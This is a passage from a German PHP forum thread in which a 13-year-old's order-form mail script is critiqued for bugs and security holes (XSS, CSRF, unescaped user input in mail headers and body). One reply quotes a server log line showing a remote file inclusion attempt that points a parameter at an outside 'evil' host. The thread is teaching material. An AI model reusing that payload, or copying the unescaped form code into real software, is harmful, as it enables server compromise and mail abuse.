$kopf .= "Bestellung von $name"; // Inhalt der E-Mail (Body)
$kopf .= "\n--$id";
// Content-Type: image/gif, image/jpeg, image/png » MIME-Typen - selfHtml.org
$kopf .= "\nContent-Type: image/gif; name=$dateiname_mail\n";
$kopf .= "Content-Transfer-Encoding: base64\n";
$kopf .= "Content-Disposition: attachment; filename=$dateiname_mail\n\n";
$kopf .= chunk_split(base64_encode($dateiinhalt));
$kopf .= "\n--$id--";


      }

   else
      {
         echo "Das Bild darf nicht größer als 4 MB sein ";
      }

    }

else
    {
    echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen";
    }


   }

  $headers = "From: $email\r\n";
  $headers .= "Content-type: text/html\r\n";
  $headers  = mail($webmaster, $emailBetreff, $body, $headers, $kopf);
  
/* Antwort*/
echo "Deine Bestellung wurde erfolgreich versendet. Vielen Dank!";  
  


?>

?>


Danke schon mal fürs durchlesen und naja ich hoffe ihr (könnt mir helfen) helft mir

mfg storestore


also was ist jetzt damit ?


Teekeks - Mi 24.08.11 15:58

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconBenBE hat folgendes geschrieben Zum zitierten Posting springen:
brain.exe, ab Version 1.337. Die alte Version 0.8.15, die oft ausgeliefert wird, übersieht gerne etwas.

Danke schau ich mir gleich an! ;)
Aber ich finde keinen Downloadlink. [link]http://brain.yubb.de/[/link]
Wenn ich da auf download gehe kommt nur download unmöglich. Aber brain.exe ist auch eine Firewall steht da, kommt es da nicht zu Problemen ich habe ja schon eine Firewall. Auser was da steht ist nicht richtig :suspect: :suspect: :suspect:

mfg storestore


Soll ich dir das einmal übersetzen was er meinte?

Er meinte "Mach doch verdammt noch mal dein Hirn an und guck was du Postest. Dann würden dir auch Fehler auffallen!".
Nur das er es deutlich Indirekter und freundlicher geschrieben hat als ich. Aber scheinbar kann die Version 0.8.15 auch keine Andeutung Interpretieren :D


storestore - Mi 24.08.11 16:35

Ach verdammt Brain.exe
.,.
Brainnnnn ach man ich dachte das wäre echt ein Programm .,.
Ohhh man ihr seit fis


Teekeks - Mi 24.08.11 16:46

Die Nummern hätten auch Aufschluss gegeben: *klick zu 1337* [http://de.wikipedia.org/wiki/Leetspeak]*klick zu 0 8 15* [http://de.wikipedia.org/wiki/08/15_%28Redewendung%29]


storestore - Mi 24.08.11 16:52

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ok, werde ich bald bearbeiten und durchlesen.
Danke!
Kennt ihr vielleicht ein Programm das Sicherheitslücken erkennt?
Ich habe mir das ganze auch mal mit dem Bild als datei-anhang angeschaut. Jetzt würde ich euch mal bitten, dass ihr euch mal den code mal gescheit anschaut und mal sagt ob der richtig ist. Bei mir gab es keine Syntaxfehler. Aber als ich auf [link]bplaced.net[/link]geladen habe, bekamm ich zwar alles wie name und so, aber das Bild war nirgens dabe, auch nicht irrgendwo im Anhang oder bei spam oder so. Desweiteren würde ich euch bitten das ihr euch auch hier mal die Sicherheitslücken anschaut. Ich weiß ist etwas viel und es ist auch nicht euer Job, aber naja wer hilft nicht schon gerne einen 13 Jährigen Jungen? ;)
Fehlermeldungen gab es nicht.

Hier der code:


Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
<?php
/* Betreffen und Email Variable */
    $emailBetreff = 'Bestellung';
  $webmaster = 'storestore@web.de';
  
  
/* Emailforen Daten*/

  $name = $_POST['name'];
  $nachname = $_POST['nachname'];
  $email = $_POST['email'];
  $ort = $_POST['ort'];
  $plz = $_POST['plz'];
  $strasse = $_POST['strasse'];  
  $hausnummer = $_POST['hausnummer'];
  $produkt = $_POST['produkt'];
  $produkt2 .= $_POST['produkt2'];
  $produkt3 .= $_POST['produkt3'];
  $notiz = $_POST['notiz'];
  $agb = $_POST['agb'];
  $datein = $_POST['datein'];
  
  /* Was in der E-mail stehen soll */
  
  $body = <<<EOD
<br><hr><br>
Name: $name <br>
Nachname: $nachname <br>
Email: $email <br>
Ort: $ort<br>
PLZ: $plz <br>
Strasse: $strasse <br>
Hausnummer: $hausnummer <br>
Produkt1: $produkt <br>
Produkt2: $produkt2 <br>
Produkt3: $produkt3 <br>
Notzi: $notiz <br>
AGB: $agb <br>
Datein:  $datein <br>
EOD;

      if(isset($_POST['submit']))
      {
$dateityp = GetImageSize($_FILES['datei']['tmp_name']);
if($dateityp[2] != 0)
   {
$text=$_FILES['datei']['name'];
// Umlaute entfernen
$umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/");
$replace = Array("ae","oe","ue","Ae","Oe","Ue","ss");
$text_neu = preg_replace($umlaute, $replace, $text);

// Dateiname wird erstellt
$text = $text_neu; 
$datname=time();
$datname.=$text;


   if($_FILES['datei']['size'] <  4096000)
      {
      $empfaenger = "$webmaster"; // Empfänger E-Mail Adresse
$betreff = "Bestellung von $nachname" ;// Betreff

$dateiname = "bild.gif"; // Dateiname
$dateiname_mail = "anhang.gif";

$id = md5(uniqid(time()));
$dateiinhalt = fread(fopen($dateiname, "r"), filesize($dateiname));

 // Absender Name und E-Mail Adresse
$kopf = "From: $name, $nachname <$email>\n";
$kopf .= "MIME-Version: 1.0\n";
$kopf .= "Content-Type: multipart/mixed; boundary=$id\n\n";
$kopf .= "This is a multi-part message in MIME format\n";
$kopf .= "--$id\n";
$kopf .= "Content-Type: text/plain\n";
$kopf .= "Content-Transfer-Encoding: 8bit\n\n";
$kopf .= "Bestellung von $name"; // Inhalt der E-Mail (Body)
$kopf .= "\n--$id";
// Content-Type: image/gif, image/jpeg, image/png » MIME-Typen - selfHtml.org
$kopf .= "\nContent-Type: image/gif; name=$dateiname_mail\n";
$kopf .= "Content-Transfer-Encoding: base64\n";
$kopf .= "Content-Disposition: attachment; filename=$dateiname_mail\n\n";
$kopf .= chunk_split(base64_encode($dateiinhalt));
$kopf .= "\n--$id--";


      }

   else
      {
         echo "Das Bild darf nicht größer als 4 MB sein ";
      }

    }

else
    {
    echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen";
    }


   }

  $headers = "From: $email\r\n";
  $headers .= "Content-type: text/html\r\n";
  $headers  = mail($webmaster, $emailBetreff, $body, $headers, $kopf);
  
/* Antwort*/
echo "Deine Bestellung wurde erfolgreich versendet. Vielen Dank!";  
  


?>

?>


Danke schon mal fürs durchlesen und naja ich hoffe ihr (könnt mir helfen) helft mir

mfg storestore#

also wie sieht es damit aus


Horschdware - Mi 24.08.11 17:06

Wie oft willst du noch deinen kompletten Code posten ohne selbst zu überlegen, wo denn der Fehler sein könnte?

Schau mal: Du hast zwei mal ein feld für die Kopfdaten der E-Mail. Einmal auf englisch ($headers) und einmal auf Deutsch ($Kopf). Warum?

In einem der beiden ist deine E-Mail eine HTML-E-Mail, im anderen Header ist sie ein mixed type, der eine Text-Mail, sowie einen Anhang verwendet. Was von beidem darfs denn nun sein?

Dann würde ich mir weiter einmal überlegen, was ich nun mit dem Dateianhang mache, den ich eben per Formular übermittelt bekommen habe? Willst du das nun auf dem Server speichern, vom Dateisystem auf dem Server laden oder direkt weiterverarbeiten?

Zitat:

$headers = mail($webmaster, $emailBetreff, $body, $headers, $kopf);

Hat es einen besonderen Grund, dass du den Rückgabewert der mail-Funktion in das Feld schreibst, in dem eben deine Header standen?


edit: typo


storestore - Mi 24.08.11 17:19

Er soll mir einfach eine e-mail mit dem Bild als anhang schicken


BenBE - Mi 24.08.11 17:20

Stell das in die Job-Börse mit nem vernünftigen Preis und du hast in 0,nix dein funktionierendes Script.


Dude566 - Mi 24.08.11 17:52

Das habe ich ihm auch schon mal gesagt, will er scheinbar nicht.


storestore - Mi 24.08.11 19:35

user profile iconBenBE hat folgendes geschrieben Zum zitierten Posting springen:
Stell das in die Job-Börse mit nem vernünftigen Preis und du hast in 0,nix dein funktionierendes Script.

Ich will kein Geld für irrgend ein Programmierer geben, während ich hier in einem Programmier-forum bin wo mir leute für umsonst helfen könnten. Ich verstehe nicht wo das Problem ist. Ich will nur das mir jemand sagt ob der genannt code richtig ist oder was daran flasch ist. Aber das ständige mach ein Antrag für die jobbörse oder ver.... mich mit brain.exe.
Naja, das ist nicht direkt das was ich mir erwarte. Und ob ich jetzt die Grundlagen kann ist doch für euch uninteressant. Ich möchte doch einfach nur wissen was flasch ist und wie man das richtig macht.
Naja. Was will man machen :nixweiss: :( :cry:


Dude566 - Mi 24.08.11 19:45

Den meisten hier geht es aber wohl so, dass sie niemandem alles vorkauen wollen, wenn er selbst kaum bis keine Eigeninitiative zeigt. :roll:

Zu den Grundlagen: Wenn du dich damit beschäftigt hättest, was längst hätte passieren können, dann könntest du deinen Code auch selbst auf Fehler checken und bei konkreten Problemen hier fragen. :wink:


storestore - Mi 24.08.11 20:08

Hallo,
naja bin erst 13 und damit recht jung um das ganze gescheit zu verstehen. Aber ich habe mir ja schon Bücher über php geholt aber den code brauche ich wegen Persönlichen gründen jetzt schon. Und so schnell lernt man nicht die Grundlagen. Und dann
(*Schnief*)erwartet man hilfe (*Schnief*) in einem Forum und dann kommt sowas wie brain.exe :( :lol: :cry: :bawling:


Teekeks - Mi 24.08.11 20:36

So, nun reichts mir (ich hab mich ja eigentlich deswegen extra immer aus diesen Themen raus gehalten)...

Ich übersetze noch einmal, dieses mal aber was DU geschrieben hast:
"Ich habe keine Lust mich damit zu beschäftigen weil hier ja Leute sind die das schnell mal für mich machen könnten. Aber Geld will ich ja nicht ausgeben, weil ja auch anderen umsonst geholfen wird. Aber alle sind ganz gemein zu mir und wollen das nicht machen. Also bettel ich halt noch etwas Rum"

Und sage jetzt bitte nicht das dass nicht genau das ist, was du hier gerade abziehst.


Horschdware - Mi 24.08.11 20:57

Au weia,
ich glaube, du hast den Sinn des Forums missverstanden. Das funktioniert hier nicht so, dass andere dir deine Programme schreiben, sondern Hilfe zur Selbsthilfe geben.

Verfolge doch nochmal bitte diesen Thread von Anfang an:
Dir wurde erklärt, dass es Sicherheitslücken gibt mit Verweis auf XSS und CSRF. Hast du dich inzwischen schlau gemacht, was das überhaupt ist? Hast du eine konkrete Frage gestellt, an welcher Stelle XSS und CSRF in deinem Beispielcoding zum Tragen kommen?

Ich habe in meinem letzten Posting deine $header/$Kopf-Gescichte angesprochen. Hast du dir Gedanken darüber gemacht, was daran falsch sein könnte? Hast du hier im Forum erklärt, was deine Überlegung war, als du das so geschrieben hast, wie du es eben getan hast?

Ebenso die Sache mit dem Rückgabewert der Mail-Funktion. Hast du dich damit auseinandergesetzt?

Vor Kurzem gab es hier einen Thread, da wollte der TE partout auch keine Eigeninitiative zeigen. Du schlägst gerade exakt den selben Weg ein und machst dir damit nur selbst Probleme.

Also nochmal der Versuch: Hilfe zur Selbsthilfe. Relevantes ist markiert, jetzt bist du dran. Denke selbst nach, recherchiere und stelle hier konkrete Fragen. Bei weiteren unkommentierten und unreflektierten Quellcode-Posts oder Beiträgen Marke "schreibt mir das, ich kann/will es nicht selbst machen" landest du sicherlich schnell auf den "ignore"-Listen der User.


Quelltext
1:
2:
3:
4:
5:
6:
7:
8:
9:
10:
11:
12:
13:
14:
15:
16:
17:
18:
19:
20:
21:
22:
23:
24:
25:
26:
27:
28:
29:
30:
31:
32:
33:
34:
35:
36:
37:
38:
39:
40:
41:
42:
43:
44:
45:
46:
47:
48:
49:
50:
51:
52:
53:
54:
55:
56:
57:
58:
59:
60:
61:
62:
63:
64:
65:
66:
67:
68:
69:
70:
71:
72:
73:
74:
75:
76:
77:
78:
79:
80:
81:
82:
83:
84:
85:
86:
87:
88:
89:
90:
91:
92:
93:
94:
95:
96:
97:
98:
99:
100:
101:
102:
103:
104:
105:
106:
107:
108:
109:
110:
111:
112:
113:
114:
115:
116:
117:
118:
119:
// Der Freundlichkeit halber ein bisschen sinnvoller eingerückt. Das hättest du auch selbst tun können....
<?php
/* Betreffen und Email Variable */
  $emailBetreff = 'Bestellung';
  $webmaster = 'storestore@web.de';
  
  
/* Emailforen Daten*/

  // ACHTUNG!
  $name = $_POST['name'];
  $nachname = $_POST['nachname'];
  $email = $_POST['email'];
  $ort = $_POST['ort'];
  $plz = $_POST['plz'];
  $strasse = $_POST['strasse'];  
  $hausnummer = $_POST['hausnummer'];
  $produkt = $_POST['produkt'];
  $produkt2 .= $_POST['produkt2'];
  $produkt3 .= $_POST['produkt3'];
  $notiz = $_POST['notiz'];
  $agb = $_POST['agb'];
  $datein = $_POST['datein'];

  
  /* Was in der E-mail stehen soll */
  
  $body = <<<EOD
<br><hr><br>
Name: $name <br>
Nachname: $nachname <br>
Email: $email <br>
Ort: $ort<br>
PLZ: $plz <br>
Strasse: $strasse <br>
Hausnummer: $hausnummer <br>
Produkt1: $produkt <br>
Produkt2: $produkt2 <br>
Produkt3: $produkt3 <br>
Notzi: $notiz <br>
AGB: $agb <br>
Datein:  $datein <br>
EOD;

    if(isset($_POST['submit']))  // ist das nicht sowieso gesetzt?
    {
    $dateityp = GetImageSize($_FILES['datei']['tmp_name']);
    if($dateityp[2] != 0)  
    {
      // Welchen Sinn macht das hier?
      $text=$_FILES['datei']['name'];
      // Umlaute entfernen
      $umlaute = Array("/ä/","/ö/","/ü/","/Ä/","/Ö/","/Ü/","/ß/");
      $replace = Array("ae","oe","ue","Ae","Oe","Ue","ss");
      $text_neu = preg_replace($umlaute, $replace, $text);

      // Dateiname wird erstellt
      $text = $text_neu; 
      $datname=time();
      $datname.=$text;



      if($_FILES['datei']['size'] <  4096000)
      {
        $empfaenger = "$webmaster"; // Empfänger E-Mail Adresse
        $betreff = "Bestellung von $nachname" ;// Betreff

        $dateiname = "bild.gif"; // Dateiname
        $dateiname_mail = "anhang.gif";

        $id = md5(uniqid(time()));
        $dateiinhalt = fread(fopen($dateiname, "r"), filesize($dateiname));  // Wo soll diese Datei sein?

         // Absender Name und E-Mail Adresse
        $kopf = "From: $name, $nachname <$email>\n";
        $kopf .= "MIME-Version: 1.0\n";
        $kopf .= "Content-Type: multipart/mixed; boundary=$id\n\n";
        $kopf .= "This is a multi-part message in MIME format\n";
        $kopf .= "--$id\n";
        $kopf .= "Content-Type: text/plain\n";
        $kopf .= "Content-Transfer-Encoding: 8bit\n\n";
        $kopf .= "Bestellung von $name"; // Inhalt der E-Mail (Body)
        $kopf .= "\n--$id";
        // Content-Type: image/gif, image/jpeg, image/png » MIME-Typen - selfHtml.org
        $kopf .= "\nContent-Type: image/gif; name=$dateiname_mail\n";
        $kopf .= "Content-Transfer-Encoding: base64\n";
        $kopf .= "Content-Disposition: attachment; filename=$dateiname_mail\n\n";
        $kopf .= chunk_split(base64_encode($dateiinhalt));
        $kopf .= "\n--$id--";


      }

    else
    {
      echo "Das Bild darf nicht größer als 4 MB sein ";
    }

    }
  else
    {
    echo "Bitte nur Bilder im Gif bzw. jpg Format hochladen";
    // Das widerspricht deiner Abfrage oben, da du dort prüfst ob es überhaupt ein Bild ist ( <> 0)

    }


   }

  $headers = "From: $email\r\n";
  $headers .= "Content-type: text/html\r\n";

  $headers  = mail($webmaster, $emailBetreff, $body, $headers, $kopf);
  
  /* Antwort*/
  echo "Deine Bestellung wurde erfolgreich versendet. Vielen Dank!";  
  // Diese Meldung kommt immer - selbst im Fehlerfall  


?>

?>


Das mal als Einstieg für weitere Überlegungen.
Im Übrigen möchte ich dir auch nochmal DRINGEND dazu raten, die Grundlagen zu lernen, da du hier sonst nur an Symptomen herumdoktoren wirst, ohne zu verstehen wo überhaupt das Problem liegt und ohne zu einem sinnvollen und brauchbaren Ergebnis zu kommen.

edit: Welchen Editor nutzt du nun eigentlich?


storestore - Mi 24.08.11 23:33

Dreamweaver und webocton.
Ich hasse das zu sagen aber ihr habt recht. :cry: Ich muss mir selber helfen. Sorry wegen alles. Ich bin jetzt dabei mich im Internet zu imformieren wie ich eine E-mail mit Anhang versende;) Danke für bringen auf (hoffentlich) den richtigen
Weg;)
XSS: Das einschleusen von gemeinen Java-scripten in die URL
CSRF: Es wird ein sogennanter Request eingeschoben. Dieser füht eine bestimmte aktion beim aufrufen der Webanwendung aus. Dieser Request gibt dem Bösen buben (Programmierer) daten zurück.
Ich habe das nirgends rauskopiert. Sonder ich habe mich INFORMIERT (*stolz sei*) :les:
Also alles was der Benutzer eingeben kann kann für mich gefährlich werden. Na super und ich habe ein Kontaktformular .,.
Hmmm wie kann ich mich dagegen am besten schützen, denn ich kann den Benutzer ja nicht verbieten ins Kontaktformular was reinzuschreiben. Aber wenn ich die ausgaben sprich name usw. in einen array (*Brainstorming*)
Habt ihr noch mehr Tipps
bitte

mfg storestore


BenBE - Do 25.08.11 01:34

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconBenBE hat folgendes geschrieben Zum zitierten Posting springen:
Stell das in die Job-Börse mit nem vernünftigen Preis und du hast in 0,nix dein funktionierendes Script.

Ich will kein Geld für irrgend ein Programmierer geben,

Ich bin nicht "irrgend ein Programmierer", mal ganz davon abgesehen, dass irgend ein nicht von irre abstammt; sonst müsste ich mich beleidigt fühlen.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
während ich hier in einem Programmier-forum bin wo mir leute für umsonst helfen könnten.

Es gibt einen wichtigen Unterschied zwischen kostenlos und umsonst. Aber gut: Du hast das korrekte von beiden bereits verwendet. GZ!

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ich verstehe nicht wo das Problem ist.

HPMoR: Hmmm, Problempersonen scheinen kein Eigenbewusstsein zu besitzen. Und ja, ich weiß, dass das sehr viel Confirmation Bias hat! :mrgreen:

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ich will nur das mir jemand sagt ob der genannt code richtig ist

Nein

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
oder was daran flasch ist.

Er hat oben genannte Sicherheitsprobleme.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Aber das ständige mach ein Antrag für die jobbörse oder ver.... mich mit brain.exe.

Sorry, aber für die Lösung via "Selbstständig das Problem eingrenzen" fehlt es Dir eindeutig an Eigeninitiative. Und glaub mir: Der Altruismus vieler Mitglieder hier hat durchaus ein Ende, wie man an gewissen Hühnchen gemerkt hat, die hier letztens gerupft wurden. Es ist einfach eine der Umgangsformen, die erwartet werden, dass man selbstständig arbeitet und selber nach Problemen sucht, um dann gezielt zu fragen, wo es scheitert.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Naja, das ist nicht direkt das was ich mir erwarte.

Was dann?

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Und ob ich jetzt die Grundlagen kann ist doch für euch uninteressant.

Eben nicht. Weil es durchaus einen Unterschied macht, ob ich jemandem vom Fach etwas erkläre, oder einem Einsteiger. Letzterer macht potentiell mehr Arbeit, die ich aber auch gut investiert gewusst haben will.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ich möchte doch einfach nur wissen was flasch ist und wie man das richtig macht.

Ich habe 2 Links gepostet, die die in deinem Code vorhandenen Fehler aus sicherheitstechnischer Sicht beschreiben. Das Gelesene dann auf deinen Source anzuwenden, sollte nicht so schwierig sein. Ich hab den Fehler beim Überfliegen in 5 Sekunden gesehen; ihn einfach zu nennen bringt aber vom Lerneffekt für dich gar nix, wenn Du den Hintergrund nicht verstehst/verstehen willst.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Naja. Was will man machen :nixweiss: :( :cry:

Sich hinsetzen die Hinweise sich angucken, überdenken und selbstständig anhand dieser Hinweise versuchen die Lösung zu finden. Wenn Du auf dem Weg zur Lösung irgendwo noch mal hängen bleibst, rupft dich keiner, wenn Du aber am Start stehen bleibst und wartest, dass du im Ziel ankommst, weil dich irgendwelche Programmiersklaven dorthin getragen haben, dann sieht es recht düster aus.

user profile iconDude566 hat folgendes geschrieben Zum zitierten Posting springen:
Den meisten hier geht es aber wohl so, dass sie niemandem alles vorkauen wollen, wenn er selbst kaum bis keine Eigeninitiative zeigt. :roll:

Korrekt erkannt. Ich kann meine Zeit sinnvoller verschwenden.

user profile iconDude566 hat folgendes geschrieben Zum zitierten Posting springen:
Zu den Grundlagen: Wenn du dich damit beschäftigt hättest, was längst hätte passieren können, dann könntest du deinen Code auch selbst auf Fehler checken und bei konkreten Problemen hier fragen. :wink:

Korrekt. Bzw. hättest Du die schon lange gefunden und behoben. Grad PHPEdit hat da sowas Seltsames, nennt sich glaube "Debugger". Das hilft einem, Fehler zu finden. Muss man nur nutzen ;-)

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Hallo,
naja bin erst 13

Hab mit 6 angefangen die ersten Programme zu verändern; richtig programmiert mit 11. Alles autodidaktisch ...

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
und damit recht jung um

Lass mich nicht heulen. Mein Vorrat an Mitleid ist grad aus. :twisted:

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
das ganze gescheit zu verstehen.

Eigene Web-Programmierung mit 9. Nein, ich glaub, ich muss Dir widersprechen.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Aber ich habe mir ja schon Bücher über php geholt

[X] Geholt
[ ] Gelesen
[ ] Verstanden

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
aber den code brauche ich wegen Persönlichen gründen jetzt schon.

Dagegen sagt ja keiner was. Aber wenn Du von uns eine Leistung erwartest ("Hilfe"), dann möchten wir dafür eine Gegenleistung ("Selbstständige Mitarbeit"). Alternativ wäre "Job-Angebot" gegen "Geld" auch eine Alternative. Leider können wir uns auf beides nicht einigen. Glaube nicht unser Problem: Es gibt genug andere, die damit einverstanden sind.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Und so schnell lernt man nicht die Grundlagen.

Halbes Jahr (eigene Erfahrung). IIRC bist Du (unter storestore und 12profi) hier schon länger als 6 Monate dabei. Und um's mal ganz gemein zu machen: Ich hab nem Kumpel mal das Programmieren in 4 Stunden an einem Wochenende beigebracht.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Und dann
(*Schnief*)erwartet man hilfe (*Schnief*) in einem Forum und dann kommt sowas wie brain.exe :( :lol: :cry: :bawling:

In der Hinsicht bin ich sehr direkt; aber wenn man sich deine Threads im Zusammenhang einmal anschaut, dann kann man leicht den Eindruck bekommen, dass Du genau eben das geforderte ("selber mitdenken") nicht tust. Und daher hab ich mich auch bewusst zurückgehalten, weil die Kommentare sonst zu bissig geworden wären.

user profile iconTeekeks hat folgendes geschrieben Zum zitierten Posting springen:
So, nun reichts mir (ich hab mich ja eigentlich deswegen extra immer aus diesen Themen raus gehalten)...

Ui, Einigkeit bei einem Punkt. Oh, welch Wunder! :twisted:

user profile iconTeekeks hat folgendes geschrieben Zum zitierten Posting springen:
Ich übersetze noch einmal, dieses mal aber was DU geschrieben hast:
"Ich habe keine Lust mich damit zu beschäftigen weil hier ja Leute sind die das schnell mal für mich machen könnten. Aber Geld will ich ja nicht ausgeben, weil ja auch anderen umsonst geholfen wird. Aber alle sind ganz gemein zu mir und wollen das nicht machen. Also bettel ich halt noch etwas Rum"

Und sage jetzt bitte nicht das dass nicht genau das ist, was du hier gerade abziehst.

Amtliche Teekeks-Übersetzung unterschreib ich so ;-)

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Dreamweaver und webocton.

Und warum nicht, wie empfohlen PHPEdit mit integriertem PHP-Debugger?

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ich hasse das zu sagen aber ihr habt recht. :cry:

Danke.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ich muss mir selber helfen.

Nein, du musst eigenständiger werden und Eigeninitiative zeigen. Dann bekommst Du auch von anderen Unterstützung.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Sorry wegen alles.

Die deutsche Rechtschreibung ist Freeware, du darfst sie kostenlos nutzen – Aber sie ist nicht Open Source, d. h. du darfst sie nicht verändern oder in veränderter Form veröffentlichen. [http://www.duden.de/]

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ich bin jetzt dabei mich im Internet zu imformieren wie ich eine E-mail mit Anhang versende;)

Hatte dazu ja auch schon was geschrieben. Also wie das geht. Gibt für PHP da auch schon fertige Module, die einen da unterstützen. Ohne das Prinzip verstanden zu haben, bringt dir Copy&Paste aber rein gar nix.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Danke für bringen auf (hoffentlich) den richtigen
Weg;)

Gern geschehen. Hoffen wir, es war nachhaltig.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
XSS: Das einschleusen von gemeinen Java-scripten in die URL

Nicht ganz. Das unterbringen von kontext-fremden Daten, diee fehlinterpretiert werden. Oftmals zum Einschleusen von Scripten missbraucht.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
CSRF: Es wird ein sogennanter Request eingeschoben. Dieser füht eine bestimmte aktion beim aufrufen der Webanwendung aus. Dieser Request gibt dem Bösen buben (Programmierer) daten zurück.

Ja, aber auch noch nicht ganz. Aktionen in einer Web-Anwendung auslösen können, ohne dass ich dafür den vorherigen Status dieser kennen muss. Im Zusammenhang mit deinem Kontakt-Formular könnt ich das zum Bombardieren mit Emails missbrauchen.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Ich habe das nirgends rauskopiert. Sonder ich habe mich INFORMIERT (*stolz sei*) :les:

GZ.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Also alles was der Benutzer eingeben kann kann für mich gefährlich werden.

That's life ;-) Und glaub mir, das ist täglich brot:

Hier mal ein Beispiel für RFI:
Meine Server-Logs:
[23/Aug/2011:18:00:15 +0200] domain.tld:80 127.1.2.3 - - - HTTP/1.0 GET /var/www/virtual/domain.tld/htdocs/news.php 200 200 35595 Req="GET /news.php?id=http://very.evil.ru/evil.txt?index.php HTTP/1.0" Referer="http://domain.tld/highlighter/news.php?id=http://very.evil.ru/evil.txt?index.php" Agent="Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; Win 9x 4.90)" SVN="-" SSL="- - -"

Und da hab ich grad nicht lange gesucht ... (Funktioniert übrigens auf meinem Server nicht)

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Na super und ich habe ein Kontaktformular .,.

Jetzt auch klar, warum wir ERST die Security ansprechen und dann die anderen Fehler, die noch so enthalten sind? Gut!

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Hmmm wie kann ich mich dagegen am besten schützen, denn ich kann den Benutzer ja nicht verbieten ins Kontaktformular was reinzuschreiben. Aber wenn ich die ausgaben sprich name usw. in einen array (*Brainstorming*)
Habt ihr noch mehr Tipps
bitte

mfg storestore

In der Regel hilft zur Absicherung das Escaping von Meta-Zeichen. Dafür gibt es in PHP eine ganze Reihe von Funktionen. In deinem Fall musst du die Meta-Zeichen von HTML unwirksam machen. Den Namen der hierfür benötigten Funktion findet man recht leicht in der PHP-Doku.

Gruß,
BenBE.


storestore - Do 25.08.11 01:48

Hi, ok danke ähh wegen den HTML codes ich glaube du meinst: htmlentities oder htmlspecialchars ,nee ;)
Hmm bin gerade dabei sicherheit einzubauen. Schwer, schwer.
Darf ich trotz allem wenn ich wieder Probleme habe hier anfragen ?


BenBE - Do 25.08.11 01:55

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Hi, ok danke ähh wegen den HTML codes ich glaube du meinst: htmlentities oder htmlspecialchars ,nee ;)

Konkret wäre hier htmlspecialchars die richtige Entscheidung.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Hmm bin gerade dabei sicherheit einzubauen. Schwer, schwer.

Jup. Und das sind so eher die alltäglichen Lücken.

user profile iconstorestore hat folgendes geschrieben Zum zitierten Posting springen:
Darf ich trotz allem wenn ich wieder Probleme habe hier anfragen ?

Ja, gerne. Wichtig ist nur der Punkt Eigeninitiative.


storestore - Do 25.08.11 11:07

Hallo,
ich bin noch dabei es zu programmieren, aber was würde sowas in der Jobbörse den Kosten?

mfg storestore


thepaine91 - Do 25.08.11 11:16

Also bei mir 30€. ^^


Teekeks - Do 25.08.11 11:20

Das kommt darauf an was du dafür geben möchtest.
Und ob sich dann jemand findet der das dafür macht :)


BenBE - Do 25.08.11 12:28

Wenn Du dich für Hosting bei mir entscheidest, gäb's das Ganze bei mir für etwa 20 Euro zzgl. Hosting.


thepaine91 - Do 25.08.11 13:10

Man man heut zu tage kann man nicht mal zu viel Geld verlangen für einfache Aufträge weil andere das ganze günstiger machen ^^


Horschdware - Do 25.08.11 13:18

Das nennt sich Lohndumping. Willkommen in der Realität :-D


thepaine91 - Do 25.08.11 13:27

Und ich hab mich immer gefragt warum ich die Realität zum :puke: finde.


Teekeks - Do 25.08.11 13:38

user profile iconthepaine91 hat folgendes geschrieben Zum zitierten Posting springen:
Und ich hab mich immer gefragt warum ich die Realität zum :puke: finde.

Wegen dem Brechmittel welches in jeder deiner Mahlzeiten ist natürlich! ;)


elundril - Do 25.08.11 15:44

user profile iconthepaine91 hat folgendes geschrieben Zum zitierten Posting springen:
Und ich hab mich immer gefragt warum ich die Realität zum :puke: finde.


